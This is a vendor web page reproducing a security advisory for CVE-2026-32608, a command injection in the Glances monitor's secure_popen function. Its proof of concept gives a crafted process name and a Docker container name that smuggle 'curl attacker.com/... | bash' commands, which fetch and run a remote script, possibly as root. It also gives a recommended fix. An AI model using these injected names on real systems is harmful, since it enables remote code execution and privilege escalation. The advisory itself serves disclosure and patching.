Get a Demo

Let's Patch It!

Book a short call with one our specialists, we'll walk you through how Endor Patches work, and ask you a few questions about your environment (like your primary programming languages and repository management). We'll also send you an email right after you fill out the form, feel free to reply with any questions you have in advance!

CVE

CVE-2026-32608

Glances has a Command Injection via Process Names in Action Command Templates
Back to all
CVE

CVE-2026-32608

Glances has a Command Injection via Process Names in Action Command Templates

Summary

The Glances action system allows administrators to configure shell commands that execute when monitoring thresholds are exceeded. These commands support Mustache template variables (e.g., {{name}}{{key}}) that are populated with runtime monitoring data. The secure_popen() function, which executes these commands, implements its own pipe, redirect, and chain operator handling by splitting the command string before passing each segment to subprocess.Popen(shell=False). When a Mustache-rendered value (such as a process name, filesystem mount point, or container name) contains pipe, redirect, or chain metacharacters, the rendered command is split in unintended ways, allowing an attacker who controls a process name or container name to inject arbitrary commands.

Details

The action execution flow:

  1. Admin configures an action in glances.conf (documented feature):
[cpu]
critical_action=echo "High CPU on {{name}}" | mail admin@example.com
  1. When the threshold is exceeded, the plugin model renders the template with runtime stats (glances/plugins/plugin/model.py:943):
self.actions.run(stat_name, trigger, command, repeat, mustache_dict=mustache_dict)
  1. The mustachedict contains the full stat dictionary, including user-controllable fields like process name, filesystem mntpoint, container name, etc. (glances/plugins/plugin/model.py:920-943).
  2. In glances/actions.py:77-78, the Mustache library renders the template:
if chevron_tag:
    cmd_full = chevron.render(cmd, mustache_dict)
  1. The rendered command is passed to secure_popen() (glances/actions.py:84):
ret = secure_popen(cmd_full)

The secure_popen vulnerability (glances/secure.py:17-30):

def secure_popen(cmd):
    ret = ""
    for c in cmd.split("&&"):
        ret += __secure_popen(c)
    return ret

And _securepopen() (glances/secure.py:33-77) splits by > and | then calls Popen(subcmdsplit, shell=False) for each segment. The function splits the ENTIRE command string (including Mustache-rendered user data) by &&, >, and | characters, then executes each segment as a separate subprocess.

Additionally, the redirect handler at line 69-72 writes to arbitrary file paths:

if stdout_redirect is not None:
    with open(stdout_redirect, "w") as stdout_redirect_file:
        stdout_redirect_file.write(ret)

PoC

Scenario 1: Command injection via pipe in process name

## 1. Admin configures processlist action in glances.conf:
## [processlist]
## critical_action=echo "ALERT: {{name}} used {{cpu_percent}}% CPU" >> /tmp/alerts.log
## 2. Attacker creates a process with a crafted name containing a pipe:
cp /bin/sleep "/tmp/innocent|curl attacker.com/evil.sh|bash"
"/tmp/innocent|curl attacker.com/evil.sh|bash" 9999 &
## 3. When the process triggers a critical alert, secure_popen splits by |:
## Command 1: echo "ALERT: innocent
## Command 2: curl attacker.com/evil.sh   <-- INJECTED
## Command 3: bash used 99% CPU" >> /tmp/alerts.log

Scenario 2: Command chain via && in container name

## 1. Admin configures containers action:
## [containers]
## critical_action=docker stats {{name}} --no-stream
## 2. Attacker names a Docker container with && injection:
docker run --name "web && curl attacker.com/rev.sh | bash && echo " nginx
## 3. secure_popen splits by &&:
## Command 1: docker stats web
## Command 2: curl attacker.com/rev.sh | bash   <-- INJECTED
## Command 3: echo --no-stream

Impact

  • Arbitrary command execution: An attacker who can control a process name, container name, filesystem mount point, or other monitored entity name can execute arbitrary commands as the Glances process user (often root).
  • Privilege escalation: If Glances runs as root (common for full system monitoring), a low-privileged user who can create processes can escalate to root.
  • Arbitrary file write: The > redirect handling in secure_popen enables writing arbitrary content to arbitrary file paths.
  • Preconditions: Requires admin-configured action templates referencing user-controllable fields + attacker ability to run processes on monitored system.

Recommended Fix

Sanitize Mustache-rendered values before secure_popen processes them:

## glances/actions.py
def _escape_for_secure_popen(value):
    """Escape characters that secure_popen treats as operators."""
    if not isinstance(value, str):
        return value
    value = value.replace("&&", " ")
    value = value.replace("|", " ")
    value = value.replace(">", " ")
    return value
def run(self, stat_name, criticality, commands, repeat, mustache_dict=None):
    for cmd in commands:
        if chevron_tag:
            if mustache_dict:
                safe_dict = {
                    k: _escape_for_secure_popen(v) if isinstance(v, str) else v
                    for k, v in mustache_dict.items()
                }
            else:
                safe_dict = mustache_dict
            cmd_full = chevron.render(cmd, safe_dict)
        else:
            cmd_full = cmd
        ...

Package Versions Affected

Package Version
patch Availability
No items found.

Automatically patch vulnerabilities without upgrading

Fix Without Upgrading
Detect compatible fix
Apply safe remediation
Fix with a single pull request

CVSS Version

Severity
Base Score
CVSS Version
Score Vector
C
H
U
7
-
3.1
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
C
H
U
0
-
3.1
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
C
H
U
7
-
3.1
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Related Resources

No items found.

References

https://github.com/nicolargo/glances/security/advisories/GHSA-vcv2-q258-wrg7, https://nvd.nist.gov/vuln/detail/CVE-2026-32608, https://github.com/nicolargo/glances/commit/6f4ec53d967478e69917078e6f73f448001bf107, https://github.com/nicolargo/glances, https://github.com/nicolargo/glances/releases/tag/v4.5.2

Severity

7

CVSS Score
0
10

Basic Information

Ecosystem
Base CVSS
7
EPSS Probability
0.00008%
EPSS Percentile
0.00849%
Introduced Version
0,2.10,2.6,2.3
Fix Available
4.5.2

Fix Critical Vulnerabilities Instantly

Secure your app without upgrading.
Fix Without Upgrading